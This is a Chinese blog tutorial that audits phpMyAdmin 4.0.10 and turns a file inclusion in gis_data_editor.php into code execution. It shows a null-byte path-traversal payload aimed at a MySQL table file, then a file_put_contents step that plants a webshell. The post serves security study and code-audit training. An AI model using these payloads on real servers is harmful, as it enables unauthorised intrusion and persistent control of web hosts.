当前位置: 首页 > news >正文

phpMyAdmin 4.0.10 文件包含 -> getshell

phpMyAdmin 4.0.10 文件包含 -> getshell

前言:这里这个漏洞相对来说审计起来不是特别难,但是对于初学者还是有点挑战性的,从zkaq web课过来的小伙伴想挑战一下自己代码审计能力的话,可以直接跳到最后下载源码,聂风老师上课教的是4.8版本的文件包含漏洞。注:源码本地搭建无法登录的话放在win7虚拟机里面运行
(注:如果直接跳到最后拿源码自己审计的话,在文件包含的时候记得加上token值,就是get传参中的那串token值留下。)


代码审计

这里的话漏洞规则是我自己写的
文件包含的话规则是:

include.*\$.{1,5}|include_once.*\$.{1,5}|require.*\$.{1,5}|require_once.*\$.{1,5}

如果师傅们有什么好的规则或者想法还请评论区分享下


这里的话自动审计出来的文件包含漏洞
还挺多的
这里的话我是自己一个一个追踪排除寻找漏洞的
所以可能有些地方有漏洞但是因为我知识浅薄没发现


这里漏洞不存在的案例就放一个了,不然文章就得写太多了
这里的话能看到一个 include $_REQU


进入查看源码
这里需要满足四个条件才能够包含 target


1 !empty($_REQUEST[‘target’])

empty()函数,判断内容中的变量是否为空
如果为空,那么返回 True
!是取反,也就是检测是否非空
说白了就是看一下这里有没有传入target这个变量


2 is_string($_REQUEST[‘target’])

检测变量是否为字符串


3 ! preg_match(‘/^index/‘, $_REQUEST[‘target’])

正则表达式,^符号为匹配开头,也就是说开头需要是 index,返回值才是True
结合前面的感叹号 “!”
布尔值取反,
也就是说,开头不能是 index


4 in_array($_REQUEST[‘target’], $goto_whitelist)

in_array() 判断第一个参数是否存在于第二个参数(数组)之中
也就是说,第二个参数是一个数组
判断这个数组里面有没有第一个参数


前三个条件都好满足
主要是最后一个
全文搜索变量 $goto_whitelist
并没有找到关于它的定义
推测这可能是一个全局变量


全局搜索


点进去查看一下
这里的内容全部被写死了
也就是说不属于我们可以控制的范围
这个点就pass掉了

$goto_whitelist = array(//'browse_foreigners.php',//'changelog.php',//'chk_rel.php','db_create.php','db_datadict.php','db_sql.php','db_events.php','db_export.php','db_importdocsql.php','db_qbe.php','db_structure.php','db_import.php','db_operations.php','db_printview.php','db_search.php','db_routines.php','export.php','import.php',//'index.php',//'navigation.php',//'license.php','index.php','pdf_pages.php','pdf_schema.php',//'phpinfo.php','querywindow.php','server_binlog.php','server_collations.php','server_databases.php','server_engines.php','server_export.php','server_import.php','server_privileges.php','server_sql.php','server_status.php','server_status_advisor.php','server_status_monitor.php','server_status_queries.php','server_status_variables.php','server_variables.php','sql.php','tbl_addfield.php','tbl_change.php','tbl_create.php','tbl_import.php','tbl_indexes.php','tbl_move_copy.php','tbl_printview.php','tbl_sql.php','tbl_export.php','tbl_operations.php','tbl_structure.php','tbl_relation.php','tbl_replace.php','tbl_row_action.php','tbl_select.php','tbl_zoom_select.php',//'themes.php','transformation_overview.php','transformation_wrapper.php','user_password.php',
);

漏洞点


查看代码

class PMA_GIS_Factory
{/*** Returns the singleton instance of geometric class of the given type.** <span>@param</span> string $type type of the geometric object** <span>@return</span> object the singleton instance of geometric class of the given type* <span>@access</span> public* <span>@static#CTL{n}</span>     */public static function factory($type){include_once './libraries/gis/pma_gis_geometry.php';$type_lower = strtolower($type);if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {return false;}if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {switch(strtoupper($type)) {case 'MULTIPOLYGON' :return PMA_GIS_Multipolygon::singleton();case 'POLYGON' :return PMA_GIS_Polygon::singleton();case 'MULTIPOINT' :return PMA_GIS_Multipoint::singleton();case 'POINT' :return PMA_GIS_Point::singleton();case 'MULTILINESTRING' :return PMA_GIS_Multilinestring::singleton();case 'LINESTRING' :return PMA_GIS_Linestring::singleton();case 'GEOMETRYCOLLECTION' :return PMA_GIS_Geometrycollection::singleton();default :return false;}} else {return false;}}
}

追踪过去
变量 $type_lower 被拼接在了内容里


向上追踪
这里 $type_lower 是将 $type 的字符转化为小写
$type 是函数的传入参数


然后我们搜索一下这个函数在哪里被调用了
一个一个往下找吧
除了第二个
因为第二个是定义这个函数


第一个,这里传入参数是 $geom_type


向上追踪 $geom_type
这里 $geom_type是取出数组
$gis_data中的 gis_type 键所对应的值
也就是说
$gis_data 是一个数组
这个数组里面有键值对
把 gis_type 取出来
变成变量 $geom_type


再向上追溯
这个代码块,会给 数组 gis_type 赋值
如果满足了 这些 if 条件
那么 gis_type 就相当于被写死了

查看最上面的 if 条件
! isset($gis_data[‘gis_type’])
isset() 检测变量是否存在
存在返回 True
加上感叹号取反
就是不存在返回 True
也就是检测是否为空
为空才会执行
所以这里也没什么卵用


再向上追溯
这里第一句先给 $gis_data 建立成一个空数组
然后用了一个函数作为布尔值的返回
如果函数返回值为True
那么$gis_data的值就会变成我们所传入的
$_REQUEST[‘gis_data’]


追踪函数

function PMA_isValid($var, $type = 'length', $compare = null)
{if (! isset($var)) {// var is not even setreturn false;}if ($type === false) {// no vartype requestedreturn true;}if (is_array($type)) {return in_array($var, $type);}// allow some aliaes of var types$type = strtolower($type);switch ($type) {case 'identic' :$type = 'identical';break;case 'len' :$type = 'length';break;case 'bool' :$type = 'boolean';break;case 'float' :$type = 'double';break;case 'int' :$type = 'integer';break;case 'null' :$type = 'NULL';break;}if ($type === 'identical') {return $var === $compare;}// whether we should check against given $compareif ($type === 'similar') {switch (gettype($compare)) {case 'string':case 'boolean':$type = 'scalar';break;case 'integer':case 'double':$type = 'numeric';break;default:$type = gettype($compare);}} elseif ($type === 'equal') {$type = gettype($compare);}// do the checkif ($type === 'length' || $type === 'scalar') {$is_scalar = is_scalar($var);if ($is_scalar && $type === 'length') {return (bool) strlen($var);}return $is_scalar;}if ($type === 'numeric') {return is_numeric($var);}if (gettype($var) === $type) {return true;}return false;
}

我们一步一步来看
刚刚调用函数时,传入的第一个参数为
$_REQUEST[‘gis_data’]
第二个参数为
‘array’


先来看前三个if语句
    if (! isset($var)) {// var is not even setreturn false;}if ($type === false) {// no vartype requestedreturn true;}if (is_array($type)) {return in_array($var, $type);}

第一个检测$var是否存在
不存在返回 false
如果我们传入了变量 $_REQUEST[‘gis_data’]
第一个 if 就无影响

第二个if 判断 $type 的值是否全等于 false
但是$type的值是array
也就过掉了

第三个if是判断$type是不是数组
很显然不是,也过掉


然后就是一个switch语句
switch ($type) {case 'identic' :$type = 'identical';break;case 'len' :$type = 'length';break;case 'bool' :$type = 'boolean';break;case 'float' :$type = 'double';break;case 'int' :$type = 'integer';break;case 'null' :$type = 'NULL';break;
}

这里的话 case 就是匹配 $type 的值
当 $type 的值和某一个对应上了
就执行这个case下的语句
很显然这里没有一个是array的
无影响


接下来的三个if还是判断 $type 的值有无对应的

但是很显然,没有对应

    if ($type === 'similar') {switch (gettype($compare)) {case 'string':case 'boolean':$type = 'scalar';break;case 'integer':case 'double':$type = 'numeric';break;default:$type = gettype($compare);}} elseif ($type === 'equal') {$type = gettype($compare);}// do the checkif ($type === 'length' || $type === 'scalar') {$is_scalar = is_scalar($var);if ($is_scalar && $type === 'length') {return (bool) strlen($var);}return $is_scalar;}if ($type === 'numeric') {return is_numeric($var);}

最后一个if语句

gettype() 获取参数的属性
$type -> array
也就是说我们的$var需要是一个数组
这里的返回值就是True了

    if (gettype($var) === $type) {return true;}

GetShell

利用聂风老师上课讲的知识点
创建一个表
写入一句话木马
(注:这里木马的密码不能是数字,也不能和其他cms里已经用过的参数冲突,不然会被判断值什么的然后重置)


然后找一下sql文件的储存路径


得到路径
C:/phpStudy/MySQL/data/
然后这里就有一个问题了
linux对路径大小写铭感
因为有一条语句会将我们传入的参数
都变成小写
所以在linux中,如果路径里有大写字母
就不能用了
但是一般来说,是小写
这也可以成为我们的一种防御思路
铭感路径用驼峰命名法
简单好用还能防漏洞


构造payload
gis_data[gis_type]=/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00&a=phpinfo();

wz是数据库库名
然后拼接起来的话就是
./libraries/gis/pmagis/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00.php
因为%00
.php会被忽略


然后访问存在漏洞的页面
gis_data_editor.php
利用hackbar
将其他的参数删掉
留下token
因为会通过token值进行一些判断
如果没有token值可能被认定为CSRF攻击(应该)
从而被拦截


发送数据包之后如果没反应
可以把上面的url滑到最后
查看上面的url和自己填的一样不一样
不一样就改了


成功代码执行
然后再改造payload写入木马


gis_data[gis_type]=/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00&a=file_put_contents(‘3.php’,’’);

这里的话用system() + echo 写木马会有点问题,所以就直接用file_put_contents()了


访问3.php


连接蚁剑
成功拿下目标web服务器


总结

还是刚刚说的那些,这里如果是Linux服务器的话,并且sql文件储存路径有大小写的话,就没办法拿到webshell了,并且还不能任意文件包含,还只能包含路径没有大写字符的,反正至少以我目前的水平是不行的,不过 linux 默认mysql文件的路径是 /var/lib/mysql/。默认情况下是无影响的。

  声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

相关文章:

phpMyAdmin 4.0.10 文件包含 -> getshell

phpMyAdmin 4.0.10 文件包含 -> getshell 前言&#xff1a;这里这个漏洞相对来说审计起来不是特别难&#xff0c;但是对于初学者还是有点挑战性的&#xff0c;从zkaq web课过来的小伙伴想挑战一下自己代码审计能力的话&#xff0c;可以直接跳到最后下载源码&#xff0c;聂风…...

Spring Boot中如何集成ElasticSearch进行全文搜索

Spring Boot中如何集成ElasticSearch进行全文搜索 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01;今天&#xff0c;我们将探讨如何在Spring Boot应用中集成Elas…...

HistoQC|病理切片的质量控制工具

小罗碎碎念 这期推文介绍的内容&#xff0c;我相信研究病理组学的人&#xff0c;一定都非常熟悉——HistoQC——病理切片的质量控制。 之前写过Hover Net系列的推文&#xff0c;反响还可以&#xff0c;但是Hover Net是用于细胞核检测和分类的&#xff0c;直接从这里开始还不够系…...

C/C++ - 编码规范(USNA版)

[IC210] Resources/C Programming Guide and Tips 所有提交的评分作业&#xff08;作业、项目、实验、考试&#xff09;都必须使用本风格指南。本指南的目的不是限制你的编程&#xff0c;而是为你的程序建立统一的风格格式。 * 这将有助于你调试和维护程序。 * 有助于他人&am…...

leetcode刷MySQL记录——sum/count里加条件判断、avg求满足条件记录数占比

leetcode题目&#xff1a;1934. 确认率 在刷leetcode的MySQL题中&#xff0c;从题目的题解知道了count和avg聚合函数的另外用法&#xff0c;在此记录。 count() 里加条件判断 count函数用于统计在符合搜索条件的记录中&#xff0c;指定的表达式expr不为NULL的行数有多少&…...

PHP的SHA256WithRSA签名和Curl POST请求函数

getCustomerEncryptionKey - 获取加密秘钥 /** * 获取加密秘钥 * param array $params * return string */ public function getCustomerEncryptionKey(array $params): string { //1.ASCII码&#xff08;字典序-升序&#xff09;排序…...

5G RAN

两个entity&#xff1a;NodeB、UE entity之间传输数据的东东 entity内部的流水线岗位&#xff1a;L3/L2/L1 岗位之间是消息交互/信令交互...

Mybatis动态sql标签

动态SQL标签简介: MyBatis的一个强大的特性之一通常是它的动态SQL能力。如果你有使用JDBC或其他相似框架的经验,你就明白条件地串联SQL字符串在一起是多么的痛苦,确保不能忘了空格或在列表的最后省略逗号。动态SQL可以彻底处理这种痛苦。 Mybatis中实现动态sql的标签有&#x…...

Linux CentOS Suhosin禁用php5.6版本eval函数详细图文教程

方法一&#xff1a;PHP_diseval_extension禁用 Linux CentOS 禁用php的eval函数详细图文教程_centos php 禁用 eval-CSDN博客 这个方法make报错&#xff0c;懒得费时间处理&#xff0c;直接用第二种 方法二&#xff1a;suhosin禁用 服务器只装了一个PHP5.6版本&#xff0c;一…...

这5招底层逆袭玄学,一个人越来越厉害的秘诀

在这个充满机遇与挑战的时代&#xff0c;每个人都渴望能够逆袭成功&#xff0c;摆脱底层的束缚&#xff0c;成为人生赢家。 然而&#xff0c;现实往往是残酷的&#xff0c;许多人在追逐梦想的路上遭遇挫折&#xff0c;甚至迷失了方向。 那么&#xff0c;有没有一些&#xff02;…...

MySQL自学教程:1. MySQL简介与安装

MySQL简介与安装 一、MySQL简介二、MySQL安装(一)Windows系统上的安装(二)Linux系统上的安装(以Ubuntu为例)(三)Mac OS系统上的安装三、安装后的基本配置四、总结一、MySQL简介 MySQL是一个流行的开源关系型数据库管理系统(RDBMS),广泛应用于各种业务场景,从小型个…...

Jenkins多stage共享同一变量方式

在第一个stage中为这个变量赋值&#xff0c;在其它stage中使用这个变量 import java.nio.file.Files import java.nio.file.Path import java.nio.file.Paths import java.nio.file.StandardCopyOption import groovy.json.JsonOutput import groovy.json.JsonSlurper// 共享的…...

Ant design Vue 表格中显示不同的状态(多条件显示)

比如&#xff1a;后端一个字段有多种状态&#xff1a; 那么后端接口会返回&#xff1a;0 或者 1 或者 2 其中一个&#xff0c;前端需要展示的是对应的文字&#xff0c;像简单的只有两个状态的可以直接在列里面操作&#xff1a; {title: 状态,dataIndex: usable,customRender: …...

如何借助物联网实现土壤监测与保护

如何借助物联网实现土壤监测与保护 高标准农田信息化是指利用现代信息技术&#xff0c;如物联网、大数据、云计算等&#xff0c;对农田进行数字化、智能化的管理&#xff0c;以提高农田的生产效率和可持续发展能力。其中&#xff0c;土壤监测与保护是农田信息化的重要内容之一…...

Linux之prometheus安装和使用简介(一)

一、prometheus简介 普罗米修斯Prometheus是一个开源系统监控和警报工具包&#xff0c;最初构建于SoundCloud。自2012年成立以来&#xff0c;许多公司和组织都采用了普罗米修斯&#xff0c;该项目拥有非常活跃的开发人员和用户社区。它现在是一个独立的开源项目&#xff0c;独立…...

orcle数据表空间操作sql

orcle数据表空间操作sql 1.查询表空间路径&#xff1a; select t1.name,t2.name from v$tablespace t1,v$datafile t2 where t1.ts#t2.ts#2.删除表空间和空间里的表&#xff1a; drop tablespace LTSYSDATA01 including contents and datafiles;1、表空间的路径、名称查询&…...

【Unity Android】Unity链接安卓手机调试

一、物理连接手机 1.USB数据线链接 2.打开开发者模式 大部分手机在手机设置->系统管理->关于手机->软件版本型号中&#xff0c;点击7次以上&#xff0c;来开启系统管理中的开发者模式选项。 3.打开USB调试 打开开发者模式后&#xff0c;开启USB调试 二、Unity中…...

数据结构与算法笔记:高级篇 - 概率统计:如何利用朴素贝叶斯算法过滤垃圾短信?

概述 上篇文章我们讲到&#xff0c;如何用位图、布隆过滤器&#xff0c;来过滤重复数据。本章&#xff0c;我们再讲一个跟过滤相关的问题&#xff0c;如果过滤垃圾短信&#xff1f; 垃圾短信和骚扰电话&#xff0c;我想每个人都收到过吧&#xff1f;买房、贷款、投资理财、开…...

vue3中通过vditor插件实现自定义上传图片、录入echarts、脑图、markdown语法的编辑器

1、下载Vditor插件 npm i vditor 我的vditor版本是3.10.2&#xff0c;大家可以自行选择下载最新版本 官网&#xff1a;Vditor 一款浏览器端的 Markdown 编辑器&#xff0c;支持所见即所得&#xff08;富文本&#xff09;、即时渲染&#xff08;类似 Typora&#xff09;和分屏 …...

揭示数据库内核的奥秘--手写数据库toadb开源项目

揭示数据库内核的奥秘–手写数据库toadb 数据为王的时代 在信息化时代&#xff0c;数据已成为企业和应用不可或缺的核心&#xff0c;而数据库不仅是数据的仓库&#xff0c;更是支撑业务决策、系统运行的基石。对于求职者而言&#xff0c;掌握数据库知识已成为求职市场上的必考…...

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…...

测试微信模版消息推送

进入“开发接口管理”--“公众平台测试账号”&#xff0c;无需申请公众账号、可在测试账号中体验并测试微信公众平台所有高级接口。 获取access_token: 自定义模版消息&#xff1a; 关注测试号&#xff1a;扫二维码关注测试号。 发送模版消息&#xff1a; import requests da…...

【Linux】shell脚本忽略错误继续执行

在 shell 脚本中&#xff0c;可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行&#xff0c;可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令&#xff0c;并忽略错误 rm somefile…...

springboot 百货中心供应链管理系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;百货中心供应链管理系统被用户普遍使用&#xff0c;为方…...

ssc377d修改flash分区大小

1、flash的分区默认分配16M、 / # df -h Filesystem Size Used Available Use% Mounted on /dev/root 1.9M 1.9M 0 100% / /dev/mtdblock4 3.0M...

AtCoder 第409​场初级竞赛 A~E题解

A Conflict 【题目链接】 原题链接&#xff1a;A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串&#xff0c;只有在同时为 o 时输出 Yes 并结束程序&#xff0c;否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)

服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句&#xff0c;它能够让用户直接在浏览器内练习SQL的语法&#xff0c;不需要安装任何软件。 链接如下&#xff1a; sqliteviz 注意&#xff1a; 在转写SQL语法时&#xff0c;关键字之间有一个特定的顺序&#xff0c;这个顺序会影响到…...

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

汇编常见指令

汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX&#xff08;不访问内存&#xff09;XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...